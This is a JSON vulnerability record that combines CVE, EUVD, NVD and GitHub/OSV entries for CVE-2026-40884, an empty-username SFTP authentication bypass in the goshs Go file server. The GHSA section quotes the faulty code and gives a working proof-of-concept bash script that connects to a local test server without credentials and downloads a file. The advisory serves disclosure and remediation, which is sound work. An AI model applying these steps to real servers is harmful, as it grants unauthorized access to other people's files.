{"id":"EUVD-2026-24272","revision":null,"records":[{"revision":"1fb1083f45ba4a558725c0be6252d361","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40884","aliases":[],"title":"goshs: Empty-username SFTP password authentication bypass in goshs","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. This vulnerability is fixed in 2.0.0-beta.6.","state":0,"publishedAt":"2026-04-21T19:39:25.698+00:00","modifiedAt":"2026-04-22T13:44:15.524+00:00","affected":[{"ecosystem":"Vendor product","name":"goshs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patrickhener\",\n                    \"product\": \"goshs\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.0-beta.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40884","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40884","identifiers":["CVE-2026-40884"]},"retained":false,"historicalAffected":[]},{"revision":"707a9a8ad6a44a9cb800feac9fe37d5e","observedAt":"2026-10-28T05:02:42.707+00:00","statement":{"source":"euvd","id":"EUVD-2026-24272","aliases":["CVE-2026-40884","GHSA-c29w-qq4m-2gcv"],"title":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs…","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. This vulnerability is fixed in 2.0.0-beta.6.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-24272","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 21, 2026, 7:39:25 PM","dateUpdated":"Apr 22, 2026, 1:44:15 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-24272","identifiers":["EUVD-2026-24272","CVE-2026-40884","GHSA-c29w-qq4m-2gcv"]},"retained":false,"historicalAffected":[]},{"revision":"89f22e4327f54b5d9db92a9e86947d2c","observedAt":"2026-10-27T10:10:07.342+00:00","statement":{"source":"nvd","id":"CVE-2026-40884","aliases":[],"title":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs…","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. This vulnerability is fixed in 2.0.0-beta.6.","state":0,"publishedAt":"2026-04-21T20:17:02.107+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40884","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-306"],"productCriteria":["cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta3:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta4:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta5:*:*:*:go:*:*"],"sourceDates":{"published":"2026-04-21T20:17:02.107","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40884","identifiers":["CVE-2026-40884"]},"retained":false,"historicalAffected":[]},{"revision":"e385295080834e9aa2406a0f50c1a107","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-c29w-qq4m-2gcv","aliases":["CVE-2026-40884","GO-2026-5303"],"title":"goshs has an empty-username SFTP password authentication bypass","description":"### Summary\ngoshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with `-b ':pass'` together with `-sftp`, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release `v2.0.0-beta.5`.\n\n### Details\nThe help text explicitly documents empty usernames as valid authentication input:\n\n- `options/options.go:264-266` says `Use basic authentication (user:pass - user can be empty)`\n\nThe SFTP sanity check only requires that either `-b` or `--sftp-keyfile` is present:\n\n```go\nif opts.SFTP && (opts.BasicAuth == \"\" && opts.SFTPKeyFile == \"\") {\n    logger.Fatal(\"When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b\")\n}\n```\n\nThat parsing logic then splits `-b ':pass'` into an empty username and a non-empty password:\n\n```go\nauth := strings.SplitN(opts.BasicAuth, \":\", 2)\nopts.Username = auth[0]\nopts.Password = auth[1]\n```\n\nBut the SFTP server only installs a password handler if both the username and password are non-empty:\n\n```go\nif s.Username != \"\" && s.Password != \"\" {\n    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {\n        return ctx.User() == s.Username && password == s.Password\n    }\n}\n```\n\nWith `-b ':pass'`, that condition is false, so no password authentication is enforced for SFTP sessions.\n\nRelevant source locations:\n\n- `options/options.go:264-266`\n- `sanity/checks.go:82-85`\n- `sanity/checks.go:102-109`\n- `sftpserver/sftpserver.go:82-85`\n\n### PoC\nI manually verified the issue on `v2.0.0-beta.5`. The server was started with the documented empty-user auth syntax `-b ':pass'`, but an SFTP client still downloaded a file without supplying any key or password.\n\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt\nmkdir -p /tmp/goshs_authless_root\nprintf 'root file\\n' > /tmp/goshs_authless_root/test.txt\n\n/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass'\n```\n\n`Terminal 2`\n\n```bash\nprintf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\\nbye\\n' | \\\nsftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \\\n-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1\n\ncat /tmp/authless_sftp.txt\n```\n\nExpected result:\n\n- the SFTP session succeeds without a key\n- there is no password prompt\n- `cat /tmp/authless_sftp.txt` prints `root file`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4\n\n\nSingle-script verification:\n\n```bash\n'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2'\n```\n\n`gosh_poc2` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\nBIN='/tmp/goshs_beta5_sftp_empty_user'\nROOT='/tmp/goshs_authless_root'\nDOWNLOAD='/tmp/authless_sftp.txt'\nHTTP_PORT='18102'\nSFTP_PORT='2223'\nSERVER_PID=\"\"\n\ncleanup() {\n  if [[ -n \"${SERVER_PID:-}\" ]]; then\n    kill \"${SERVER_PID}\" >/dev/null 2>&1 || true\n    wait \"${SERVER_PID}\" 2>/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\necho '[1/5] Building goshs beta.5'\ncd \"${REPO}\"\ngo build -o \"${BIN}\" ./\n\necho '[2/5] Preparing test root'\nrm -rf \"${ROOT}\" \"${DOWNLOAD}\"\nmkdir -p \"${ROOT}\"\nprintf 'root file\\n' > \"${ROOT}/test.txt\"\n\necho \"[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}\"\n\"${BIN}\" -p \"${HTTP_PORT}\" -sftp -d \"${ROOT}\" --sftp-port \"${SFTP_PORT}\" -b ':pass' \\\n  >/tmp/gosh_poc2.log 2>&1 &\nSERVER_PID=$!\n\nfor _ in $(seq 1 40); do\n  if python3 - <<PY\nimport socket\ns = socket.socket()\ntry:\n    s.connect((\"127.0.0.1\", ${SFTP_PORT}))\n    raise SystemExit(0)\nexcept OSError:\n    raise SystemExit(1)\nfinally:\n    s.close()\nPY\n  then\n    break\n  fi\n  sleep 0.25\ndone\n\necho '[4/5] Connecting without password or key'\nprintf \"get ${ROOT}/test.txt ${DOWNLOAD}\\nbye\\n\" | \\\n  sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \\\n  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P \"${SFTP_PORT}\" -b - foo@127.0.0.1\n\necho '[5/5] Verifying unauthenticated file access'\necho \"Downloaded content: $(cat \"${DOWNLOAD}\")\"\n\nif [[ \"$(cat \"${DOWNLOAD}\")\" == 'root file' ]]; then\n  echo '[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated'\nelse\n  echo '[RESULT] NOT REPRODUCED'\n  exit 1\nfi\n```\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77\n\n\n\n### Impact\nThis is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented `-b ':pass'` syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions.\n\n### Remediation\nSuggested fixes:\n\n1. Install the SFTP password handler whenever a password is configured, even if the username is an empty string.\n2. If empty usernames are not intended for SFTP, reject `-b ':pass'` during option validation whenever `-sftp` is enabled.\n3. Add an integration test that starts SFTP with `-b ':pass'` and verifies that unauthenticated sessions are rejected.","state":0,"publishedAt":"2026-04-14T22:28:30+00:00","modifiedAt":"2026-06-25T19:56:36.3291311+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.1.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/patrickhener/goshs/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv","https://nvd.nist.gov/vuln/detail/CVE-2026-40884","https://github.com/patrickhener/goshs"],"sourceUrl":"https://github.com/advisories/GHSA-c29w-qq4m-2gcv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c29w-qq4m-2gcv","identifiers":["GHSA-c29w-qq4m-2gcv","CVE-2026-40884","GO-2026-5303"]},"retained":false,"historicalAffected":[]},{"revision":"a9a063f2e1114918a13e1fe251fc5a5b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5303","aliases":["CVE-2026-40884","GHSA-c29w-qq4m-2gcv"],"title":"goshs has an empty-username SFTP password authentication bypass in github.com/patrickhener/goshs","description":"goshs has an empty-username SFTP password authentication bypass in github.com/patrickhener/goshs","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-06-25T19:45:28.6764244+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/patrickhener/goshs/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv","https://nvd.nist.gov/vuln/detail/CVE-2026-40884"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5303","license":"OSV · upstream source license applies","key":"osv:GO-2026-5303","identifiers":["GO-2026-5303","CVE-2026-40884","GHSA-c29w-qq4m-2gcv"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T02:49:08.6617237+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T02:49:08.6617237+00:00","lastSuccessAt":"2026-10-30T02:49:08.8296789+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.8296797+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-a9ed1cfe494f92fddb8cf6003b2df5b151f7456e4d1d2625f76ca8d81f0e234e","complete":true,"records":416814,"lastAttemptAt":"2026-10-30T02:49:08.1159624+00:00","lastSuccessAt":"2026-10-30T02:49:08.0942217+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.1159624+00:00","snapshotPublishedAt":"2026-10-30T02:28:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-78c11a9a83974f69b1b02671c6960ae3","complete":false,"records":13504,"lastAttemptAt":"2026-10-30T03:01:18.2254305+00:00","lastSuccessAt":"2026-10-30T03:01:18.221+00:00","error":"7 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T03:01:18.221+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13242,"expectedIdentifiers":13587,"failedIdentifiers":7},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T02:49:08.6617237+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T02:49:08.6617237+00:00","lastSuccessAt":"2026-10-30T02:49:08.8305166+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.8305167+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c39f89b50d5243318487ad216daf7ffb","complete":true,"records":13527,"lastAttemptAt":"2026-10-30T02:49:10.4405808+00:00","lastSuccessAt":"2026-10-29T22:50:37.74+00:00","error":null,"lastVerifiedAt":"2026-10-29T22:50:37.74+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13587,"expectedIdentifiers":13587,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-9016081e9e88f5929902343d85df87c5c4a1486b10ab07bc6c4f53f98f358871","complete":true,"records":9806,"lastAttemptAt":"2026-10-30T02:49:08.4920525+00:00","lastSuccessAt":"2026-10-29T17:17:25.9359141+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.4920525+00:00","snapshotPublishedAt":"2026-10-29T16:48:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T02:49:08.2775257+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.2775257+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5221f6b645588be0464ab0e16e8adfe42d1ccd8f841048d2bd4d0c1cf79fd6b1","complete":true,"records":3014,"lastAttemptAt":"2026-10-30T02:49:08.5949387+00:00","lastSuccessAt":"2026-10-30T00:54:54.6624163+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.5949387+00:00","snapshotPublishedAt":"2026-10-30T00:48:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ec5b13e78c39945726a720832da7660d2774969f16e2a34f99460c135811abd5","complete":true,"records":230948,"lastAttemptAt":"2026-10-30T02:49:08.3853349+00:00","lastSuccessAt":"2026-10-29T22:50:35.0693267+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.3853349+00:00","snapshotPublishedAt":"2026-10-29T22:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}